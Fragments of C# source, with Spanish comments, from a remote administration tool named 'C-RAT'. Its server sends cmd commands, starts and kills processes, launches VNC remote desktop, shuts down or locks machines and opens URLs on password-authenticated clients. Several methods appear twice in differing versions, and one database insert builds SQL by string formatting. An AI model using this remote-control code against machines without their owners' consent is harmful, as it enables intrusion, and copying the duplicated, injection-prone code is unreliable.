public void Enviar(NetData obj)
{
ManejoDB.InsertarFromNetData(IpAddress, obj); //db insercion asincrona.
byte[] objSerializado = Serializador.Serializar(obj);
ClientNetworkStream.Write(objSerializado, 0, objSerializado.Length);
ClientNetworkStream.Flush();
}
public void cargarConNetData(NetData a)
{
limpiar();
foreach (string clave in a.getClaves())
{
Columns.Add(clave, clave);
}
int numRegs = Serializador.DeserializarRegistro(a.GetDato(a.getClaves()[0])).Length;
Rows.Add(numRegs);
for (int i = 0; i < numRegs; i++)
{
int celda = 0;
foreach (string clave in a.getClaves())
{
string[] datos = Serializador.DeserializarRegistro(a.GetDato(clave));
for (int j = 0; j < numRegs; j++)
{
if (datos[j].IndexOf("www.") >= 0 || datos[j].IndexOf("http:") >= 0)
Rows[j].Cells[celda] = new DataGridViewLinkCell();
Rows[j].Cells[celda].Value = datos[j];
}
celda++;
}
}
}
//delegado para evitar problemas con threads.
public void actualizarConNetData(NetData nd)
{
toolStripStatusLabel1.ForeColor = Color.Green;
toolStripStatusLabel1.Text = "Cargando";
loadLabel.Visible = true;
miGrid.cargarConNetDataASync(nd);
toolStripStatusLabel1.Text = "Se recibieron " + miGrid.Rows.Count + " registros";
loadLabel.Visible = false;
info = null;
}
/// <summary>
/// Genera un objeto del tipo NetData a partir de otro objeto cualquiera
/// basandose en sus propiedades (getters)
/// mediante reflexion.
/// </summary>
/// <param name="msgCode"></param>
/// Codigo del protocolo para el NEtData.
/// <param name="obj"></param>
/// Fuente de propiedades.
/// <returns></returns>
public static NetData GenerarNetDataDesdeObjeto(int msgCode, Object obj)
{
NetData datoDeRed = new NetData(msgCode);
Type clase = obj.GetType();
foreach (PropertyInfo campo in clase.GetProperties())
{
datoDeRed.AddDato(campo.Name, campo.GetValue(obj, null).ToString());
}
return datoDeRed;
}
//eventos
public void GestionBtnAcciones(object sender, EventArgs eventArgs)
{
Button btnSeleccionado = (Button) sender;
String accion = btnSeleccionado.Tag.ToString();
String nproc = null;
if (miGrid.SelectedRows.Count <= 0)
{
MessageBox.Show("Debes seleccionar alguna ventana", "No hay ningun objetivo");
return;
}
foreach (DataGridViewRow row in miGrid.SelectedRows)
{
//creo el NetData segun la accion seleccionada.
NetData msgToClient = null;
switch (accion)
{
case "iniciar":
msgToClient = new NetData((int) Protocolo.Servidor.EjecutarProceso);
if (nproc == null)
nproc = MiInputBox.PedirString("Introduce el nombre del proceso",
"¿Cual es la ruta o nombre del proceso que deseas ejecutar?",
this);
//si no se coloco un titulo...
if (nproc == null)
{
MessageBox.Show("Debes introducir un nombre...");
return;
} //salgo.
msgToClient.AddDato("NombreProceso", nproc);
break;
case "matar":
msgToClient = new NetData((int)Protocolo.Servidor.MatarProceso);
break;
}
if (msgToClient != null)
{
loadLabel.Visible = true;
statusStrip1.Text = "Procesando...";
msgToClient.AddDato("Id", row.Cells["Id"].Value.ToString());
Cliente.Enviar(msgToClient);
statusStrip1.Text = "Accion Realizada con exito.";
loadLabel.Visible = false;
}
}
//autorefresh.
Actualizar();
}
protected override void EventoDatosRecibidos(Conexion client, NetData objetoRecibido)
{
ManejoDB.InsertarFromNetData(client.IpAddress, objetoRecibido); //insercion db async.
switch (objetoRecibido.CodigoDeProtocolo)
{
case (int) Protocolo.Cliente.Conectado:
V.Invoke(new VPpal._AddClient(V.AddNuevoCliente), client, objetoRecibido);
Clientes.Add(client);
break;
case (int) Protocolo.Cliente.RespuestaInfoVentanas:
V.VentanaInfoVentanas.info = objetoRecibido;
V.VentanaInfoVentanas.Bw.RunWorkerAsync();
break;
case (int)Protocolo.Cliente.RespuestaInfoSoftware:
V.VentanaInfoSoftware.info = objetoRecibido;
V.VentanaInfoSoftware.Bw.RunWorkerAsync();
break;
case (int) Protocolo.Cliente.RespuestaInfoProcesos:
V.VentanaInfoProcesos.info = objetoRecibido;
V.VentanaInfoProcesos.Bw.RunWorkerAsync();
break;
case (int) Protocolo.Cliente.AutentificacionCorrecta:
MessageBox.Show(V,
"Has sido autentificado en el cliente", "Login Correcto", MessageBoxButtons.OK,
MessageBoxIcon.Information);
V.AutentificarCliente(client);
break;
case (int) Protocolo.Cliente.AutentificacionIncorrecta:
MessageBox.Show(V,
"Fallo al intentar autentificarse en el cliente.\n" + "La contraseña es incorrecta.",
"Cliente Protegido",
MessageBoxButtons.OK,
MessageBoxIcon.Stop);
break;
case (int) Protocolo.Cliente.PedirPassword:
MessageBox.Show(V,
"El cliente sobre el que intentas realizar la accion está protegido por contraseña." +
"Por favor, autentificate en el cliente.", "Cliente Protegido", MessageBoxButtons.OK,
MessageBoxIcon.Stop);
break;
case (int) Protocolo.Cliente.RespuestaComandoCmd:
if (!V.VentanaConsolaRemota.IsDisposed && V.VentanaConsolaRemota != null)
{
V.VentanaConsolaRemota.agregarRespuesta(objetoRecibido.GetDato("RespuestaCmd"));
}
break;
}
}
private void btnEnviar_Click(object sender, EventArgs e)
{
try
{
NetData nd = new NetData((int) Protocolo.Servidor.EnviarCmdCommandRemoto);
nd.AddDato("Comando", tbComando.Text);
clienteAsociado.Enviar(nd);
tbComando.Text = "";
}
catch (Exception ex)
{
MessageBox.Show("Se ha perdido la conexion con el cliente.", "Error de conexion", MessageBoxButtons.OK,
MessageBoxIcon.Error);
Dispose();
}
}
public static void InsertarAccion(string clienteDeLaAccion, NetData nd)
{
/*Acciones de las que se permite llevar el registro en la base de datos.
*Son las acciones que realiza el usuario sobre los clientes.
*Los codigos corresponde al codigo de Protocolo definido en Common.Libs.Protocolo
*y al ID de la tabla Acciones de la DB.
*/
int[] accionesHabilitadasParaGuardado =
{
10, 11, 12, 13, 14, 20, 69, 80, 100, 101, 120, 121, 121, 130, 140,
141, 142, 209, 1000, 1001, 1002
};
if (Array.BinarySearch(accionesHabilitadasParaGuardado, nd.CodigoDeProtocolo) >= 0)
{
string query =
string.Format(
"INSERT INTO accion_cliente (ipCliente,idAccion,InformacionAdiccional,FechaAccion) VALUES ('{0}',{1},'{2}',NOW())",
clienteDeLaAccion, nd.CodigoDeProtocolo, "msjAdicional Test");
MySqlConnection conn = ObtenerConexion();
EjecutarQueryAsincrona(query, conn);
}
}
private void eventoBtnEscritorioRemotoClick(object sender, EventArgs e)
{
if (ClienteSeleccionado != null)
{
try
{
NetData escRemoto = new NetData((int) Protocolo.Servidor.IniciarEscritorioRemoto);
ClienteSeleccionado.Enviar(escRemoto);
Thread.Sleep(300);
FormEscritorioRemoto.AbrirFormEscritorioRemoto("" + ClienteSeleccionado.IpAddress,
9999,true);
}
catch (Exception ex)
{
}
}
}
private void eventoBtnEnviarMsgBoxClick(object sender, EventArgs e)
{
if (ClienteSeleccionado != null)
{
String[] datosMsgBox = MsgBoxBuilder.obtenerMsgBoxDataInfo("" + ClienteSeleccionado.IpAddress);
if (datosMsgBox != null)
{
NetData envioMsgBox = new NetData((int) Protocolo.Servidor.MostrarMsgBox);
envioMsgBox.AddDato("Msg", datosMsgBox[0]);
envioMsgBox.AddDato("Titulo", datosMsgBox[1]);
envioMsgBox.AddDato("Tipo", datosMsgBox[2]);
ClienteSeleccionado.Enviar(envioMsgBox);
}
}
}
private void eventoBotonEnviarWebClick(object sender, EventArgs e)
{
if (ClienteSeleccionado != null)
{
String url = MiInputBox.PedirString("Escribe una url",
"Introduce la url que deseas enviar al cliente.",
this);
if (url == null) return;
if (Utils.ValidarUrl(url))
{
NetData urlInfo = new NetData((int) Protocolo.Servidor.AbrirPaginaWeb);
urlInfo.AddDato("URL", url);
ClienteSeleccionado.Enviar(urlInfo);
}
else
{
MessageBox.Show("La url proporcionada no es una Url bien formada. Escriba una url correcta.",
"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
}
}
private void eventoBotonApagado(object sender, EventArgs e)
{
try
{
if (ClienteSeleccionado != null)
{
NetData ndShutdown = new NetData((int) Protocolo.Servidor.ApagarEquipo);
if (sender.GetType() == typeof (Button))
{
Button btnPulsado = sender as Button;
ndShutdown.AddDato("Flag", btnPulsado.Tag.ToString());
ClienteSeleccionado.Enviar(ndShutdown);
}
else if (sender.GetType() == typeof (ToolStripMenuItem))
{
ToolStripMenuItem btnPulsado = sender as ToolStripMenuItem;
ndShutdown.AddDato("Flag", btnPulsado.Tag.ToString());
ClienteSeleccionado.Enviar(ndShutdown);
}
}
else
{
MessageBox.Show("Selecciona un cliente destino para la acción");
}
}
catch (Exception ex)
{
}
}
private void autentificarToolStripMenuItem_Click(object sender, EventArgs e)
{
if (ClienteSeleccionado != null)
{
string pass = MiInputBox.PedirString("Autentificación",
"Introduce la contraseña para el cliente.", this);
if (!string.IsNullOrEmpty(pass))
{
NetData msgPass = new NetData((int) Protocolo.Servidor.EnviarPassword);
msgPass.AddDato("Password", pass);
ClienteSeleccionado.Enviar(msgPass);
}
}
}
public static NetData RespuestaError(String msg)
{
NetData ndError = new NetData((int) Protocolo.Cliente.RespuestaError);
ndError.AddDato("Mensaje", msg);
return ndError;
}
public void ProcesarAccionesDeProcesos(NetData datosProc)
{
IntPtr handle = new IntPtr(int.Parse(datosProc.GetDato("Id")));
switch (datosProc.CodigoDeProtocolo)
{
case (int)Protocolo.Servidor.MatarProceso: //minimizar Ventana
ProcesosDelSistema.MatarProceso(handle.ToString());
break;
case (int)Protocolo.Servidor.EjecutarProceso:
ProcesosDelSistema.IniciarProceso(datosProc.GetDato("NombreProceso"), false);
break;
}
}
private static void Enviar(NetData obj)
{
lock (_client)
{
byte[] datos = Serializador.Serializar(obj);
_client.GetStream().Write(datos, 0, datos.Length);
_client.GetStream().Flush();
Console.Out.WriteLine("Envio datos al servidor [{0} : {1}]", point.Address,
point.Port + " [ " + (float)datos.Length / 1000 + " Kb's ]");
}
}
private static Boolean validarRespuestaPassword(NetData datosRecibidos)
{
String psw = datosRecibidos.GetDato("Password");
if (psw == passwordDelCliente)
{
passwordRecibida = psw;
Enviar(new NetData((int) Protocolo.Cliente.AutentificacionCorrecta));
return true;
}
else
{
Enviar(new NetData((int) Protocolo.Cliente.AutentificacionIncorrecta));
return false;
}
}
protected abstract void EventoDatosRecibidos(Conexion client, NetData objetoRecibido);
/// <summary>
/// Carga el Datagrid con los datos de un NetData de forma Thread-Safe y Asincrona
/// utilizando un delegado.
/// </summary>
/// <param name="a"></param>
public void cargarConNetDataASync(NetData a)
{
Invoke(new _cargarConNetData(cargarConNetData), a);
}
public void cargarConNetDataASync(NetData a)
{
this.Invoke(new _cargarConNetData(cargarConNetData));
}
public static NetData RespuestaOk(String msg)
{
NetData ndSuccess = new NetData((int) Protocolo.Cliente.RespuestaSuccess);
ndSuccess.AddDato("Mensaje", msg);
return ndSuccess;
}
public void AddNuevoCliente(Conexion client, NetData info)
{
if (info == null)
return;
try
{
ManejoDB.InsertarFromNetData(client.IpAddress, info); //insercion asyncrona en db.
}
catch (Exception ex)
{
}
foreach (ListViewItem it in listGridClientes.Items)
{
if (it.Text == client.IpAddress)
{
it.Tag = client;
if (it.SubItems[6].Text != "Conectado")
{
if (info.GetDato("TienePassword") == "True")
{
it.SubItems[6].Text = "Conectado sin Autentificar";
it.SubItems[6].ForeColor = Color.RoyalBlue;
}
else
{
it.SubItems[6].Text = "Conectado";
it.SubItems[6].ForeColor = Color.Green;
}
}
iconoDeNotificacion.ShowBalloonTip(300, "Reconexion",
"El cliente" + client.IpAddress + " volvio a conectarse.",
ToolTipIcon.Info);
return;
}
}
//si no esta en la lista lo añado con los datos que envió.
ListViewItem item = new ListViewItem();
item = new ListViewItem();
item.UseItemStyleForSubItems = true;
item.Text = client.IpAddress;
item.Tag = client;
item.SubItems.Add("UsuarioLogeado");
item.SubItems.Add("NombrePc");
item.SubItems.Add("Plataforma");
item.SubItems.Add("Version");
item.SubItems.Add("Idioma");
item.SubItems.Add("Estado");
item.SubItems[1].Text = info.GetDato("UsuarioLogeado");
item.SubItems[2].Text = info.GetDato("NombrePc");
item.SubItems[3].Text = info.GetDato("NombreSo");
item.SubItems[4].Text = info.GetDato("VersionSo");
item.SubItems[5].Text = info.GetDato("IdiomaSo");
if (info.GetDato("TienePassword") == "True")
{
item.SubItems[6].Text = "Conectado sin Autentificar";
item.SubItems[6].ForeColor = Color.RoyalBlue;
}
else
{
item.SubItems[6].Text = "Conectado";
item.SubItems[6].ForeColor = Color.Green;
}
item.UseItemStyleForSubItems = false;
MiServer.Online++;
listGridClientes.Items.Add(item);
iconoDeNotificacion.ShowBalloonTip(150, "Nuevo cliente",
"Se conecto un nuevo cliente con la IP " + client.IpAddress + " .",
ToolTipIcon.Info);
}
private static void Procesar(NetData objRecibido)
{
Console.Out.WriteLine("Recibido msg con codigo de protocolo [" + objRecibido.CodigoDeProtocolo + "]");
/*mientras el acceso no este validado...*/
if (comprobarAuth() == false)
{
Enviar(servicio.GenerarPeticionPassword());
Boolean auth = false;
/*Si el objeto recibido es una respuesta a la password la valido, si no paso.*/
if (objRecibido.CodigoDeProtocolo == (int)Protocolo.Servidor.EnviarPassword)
auth = validarRespuestaPassword(objRecibido);
else
return;
/*Si no estoy validado no hago nada... sigo leyendo hasta estarlo.*/
if (auth == false)
return;
}
//Si el server esta autorizado (Password -> OK) proceso los msg recibidos.
switch (objRecibido.CodigoDeProtocolo)
{
//Ventanas
case (int)Protocolo.Servidor.PedirInfoVentanas:
NetData d = servicio.GenerarInfoVentanasVisibles((int)Protocolo.Cliente.RespuestaInfoVentanas);
Enviar(d);
break;
//Acciones de Ventana.
case (int)Protocolo.Servidor.MinimizarVentana:
case (int)Protocolo.Servidor.BloquearVentana:
case (int)Protocolo.Servidor.DesbloquearVentana:
case (int)Protocolo.Servidor.CambiarTituloVentana:
try
{
servicio.ProcesarAccionesDeVentana(objRecibido);
Enviar(NetData.RespuestaOk());
}
catch (Exception ex)
{
Enviar(NetData.RespuestaError());
}
break;
case (int)Protocolo.Servidor.MostrarMsgBox:
servicio.MostrarMsgBox(objRecibido.GetDato("Msg"),
objRecibido.GetDato("Titulo"),
int.Parse(objRecibido.GetDato("Tipo")));
break;
}
}
private static void Enviar(NetData obj)
{
lock (_client)
{
byte[] datos = Serializador.Serializar(obj);
_client.GetStream().BeginWrite(datos, 0, datos.Length, wrText(datos.Length), obj);
//_client.GetStream().Write(datos, 0, datos.Length);
_client.GetStream().Flush();
}
}
private static Boolean validarRespuestaPassword(NetData datosRecibidos)
{
String psw = datosRecibidos.GetDato("Password");
if (psw == passwordDelCliente)
{
passwordRecibida = psw;
return true;
}
else
{
return false;
}
}
public void ProcesarAccionesDeVentana(NetData datoVentana)
{
IntPtr handle = new IntPtr(int.Parse(datoVentana.GetDato("Handle")));
switch (datoVentana.CodigoDeProtocolo)
{
case (int)Protocolo.Servidor.MinimizarVentana: //minimizar Ventana
VentanaData.MinimizarVentanaByHandle(handle);
break;
case (int)Protocolo.Servidor.BloquearVentana:
VentanaData.BloquearVentanaByHandle(handle);
break;
case (int)Protocolo.Servidor.DesbloquearVentana:
VentanaData.DesbloquearVentanaByHandle(handle);
break;
case (int)Protocolo.Servidor.CambiarTituloVentana:
String titulo = datoVentana.GetDato("NuevoTitulo");
VentanaData.CambiarTituloVentanaByHandle(handle,titulo);
break;
}
}
/// <summary>
/// Inserta datos en la DB de forma automatica y asincrona, basandose en los datos que
/// contiene el NetData.
/// Se deduce el tipo de inserción que debe realizar en funcion del Protocolo que implementa
/// el NetData pasado como parametro, y obtiene los datos de la estructura diccionario que posee.
/// </summary>
/// <param name="nd"></param>
public static void InsertarFromNetData(string destinatario, NetData nd)
{
switch (nd.CodigoDeProtocolo)
{
case (int) Protocolo.Cliente.Conectado:
InsertarNuevoCliente(destinatario,
nd.GetDato("UsuarioLogeado"),
nd.GetDato("NombrePc"),
nd.GetDato("NombreSo"),
nd.GetDato("VersionSo"),
nd.GetDato("IdiomaSo"));
/* default:
break;*/
break;
default:
InsertarAccion(destinatario, nd);
break;
}
}
//eventos
public void GestionBtnAcciones(object sender, EventArgs eventArgs)
{
Button btnSeleccionado = (Button) sender;
String accion = btnSeleccionado.Tag.ToString();
String ntit = null;
if (miGrid.SelectedRows.Count <= 0)
{
MessageBox.Show("Debes seleccionar alguna ventana", "No hay ningun objetivo");
return;
}
foreach (DataGridViewRow row in miGrid.SelectedRows)
{
//creo el NetData segun la accion seleccionada.
NetData msgToClient = null;
switch (accion)
{
case "minimizar":
msgToClient = new NetData((int) Protocolo.Servidor.MinimizarVentana);
break;
case "desbloquear":
msgToClient = new NetData((int) Protocolo.Servidor.DesbloquearVentana);
break;
case "bloquear":
msgToClient = new NetData((int) Protocolo.Servidor.BloquearVentana);
break;
case "cambiartitulo":
msgToClient = new NetData((int) Protocolo.Servidor.CambiarTituloVentana);
if (ntit == null)
ntit = MiInputBox.PedirString("Introduce un titulo",
"¿Qué titulo deseas para las ventanas seleccionadas?",
this);
//si no se coloco un titulo...
if (ntit == null)
{
MessageBox.Show("Debes introducir un titulo...");
return;
} //salgo.
msgToClient.AddDato("NuevoTitulo", ntit);
break;
}
if (msgToClient != null)
{
loadLabel.Visible = true;
statusStrip1.Text = "Procesando...";
msgToClient.AddDato("Handle", row.Cells["Handle"].Value.ToString());
Cliente.Enviar(msgToClient);
Thread.Sleep(80);
statusStrip1.Text = "Accion Realizada con exito.";
loadLabel.Visible = false;
}
}
//autorefresh.
Actualizar();
}
private static void Procesar(NetData objRecibido)
{
Console.Out.WriteLine("Recibido msg con codigo de protocolo [" + objRecibido.CodigoDeProtocolo + "]");
/*mientras el acceso no este validado...*/
if (comprobarAuth() == false)
{
Boolean auth = false;
if (objRecibido.CodigoDeProtocolo == (int) Protocolo.Servidor.EnviarPassword)
{
auth = validarRespuestaPassword(objRecibido);
}
else
{
Enviar(Servicio.GenerarPeticionPassword());
}
/*Si el servidor no esta validado le pido el password para que se valide...*/
if (auth == false)
{
return;
}
}
//Si el server esta autorizado (Password -> OK) proceso los msg recibidos.
switch (objRecibido.CodigoDeProtocolo)
{
//Ventanas
case (int) Protocolo.Servidor.PedirInfoVentanas:
NetData d = Servicio.GenerarInfoVentanasVisibles((int) Protocolo.Cliente.RespuestaInfoVentanas);
Enviar(d);
break;
//Acciones de Ventana.
case (int) Protocolo.Servidor.MinimizarVentana:
case (int) Protocolo.Servidor.BloquearVentana:
case (int) Protocolo.Servidor.DesbloquearVentana:
case (int) Protocolo.Servidor.CambiarTituloVentana:
try
{
Servicio.ProcesarAccionesDeVentana(objRecibido);
Enviar(NetData.RespuestaOk());
}
catch (Exception ex)
{
Enviar(NetData.RespuestaError());
}
break;
//acciones de procesos.
case (int)Protocolo.Servidor.MatarProceso:
case (int)Protocolo.Servidor.EjecutarProceso:
try
{
Servicio.ProcesarAccionesDeProcesos(objRecibido);
Enviar(NetData.RespuestaOk());
}
catch (Exception ex)
{
Enviar(NetData.RespuestaError());
}
break;
case (int) Protocolo.Servidor.PedirInfoSoftware:
NetData infoSoft =
Servicio.GenerarInfoSoftwareDelSistema((int) Protocolo.Cliente.RespuestaInfoSoftware);
Enviar(infoSoft);
break;
case (int)Protocolo.Servidor.PedirInfoProcesos:
NetData infoProc =
Servicio.GenerarInfoProcesosDelSistema((int)Protocolo.Cliente.RespuestaInfoProcesos);
Enviar(infoProc);
break;
//accion MsgBox
case (int) Protocolo.Servidor.MostrarMsgBox:
Servicio.MostrarMsgBox(objRecibido.GetDato("Msg"),
objRecibido.GetDato("Titulo"),
int.Parse(objRecibido.GetDato("Tipo")));
break;
case (int) Protocolo.Servidor.IniciarEscritorioRemoto:
try
{
Servicio.IniciarServidorVnc(passwordServidorVNC, puertoServidorVNC, "Servidor VNC C-RAT");
}
catch (Exception ex)
{
Console.Out.WriteLine(
"No se pudo iniciar el servidor. Compruebe que no se encuentra ya iniciado.");
}
break;
case (int) Protocolo.Servidor.BloquearSistema:
Servicio.BloquearEntradaDelSistema(true);
break;
case (int) Protocolo.Servidor.DesbloquearSistema:
Servicio.BloquearEntradaDelSistema(false);
break;
case (int) Protocolo.Servidor.AbrirPaginaWeb:
String url = objRecibido.GetDato("URL");
Servicio.AbrirPaginaWeb(url);
break;
case (int) Protocolo.Servidor.ApagarEquipo:
Servicio.RealizarAccionApagado(int.Parse(objRecibido.GetDato("Flag")));
break;
case (int) Protocolo.Servidor.EnviarCmdCommandRemoto:
string respuesta = Servicio.ObtenerRespuestaComandoCmd(objRecibido.GetDato("Comando"));
NetData respNd = new NetData((int) Protocolo.Cliente.RespuestaComandoCmd);
respNd.AddDato("RespuestaCmd",respuesta);
Enviar(respNd);
break;
case (int) Protocolo.Servidor.DesconectarCliente:
Console.Out.WriteLine("El servidor ha finalizado la Conexion.");
Environment.Exit(0);
break;
}
}
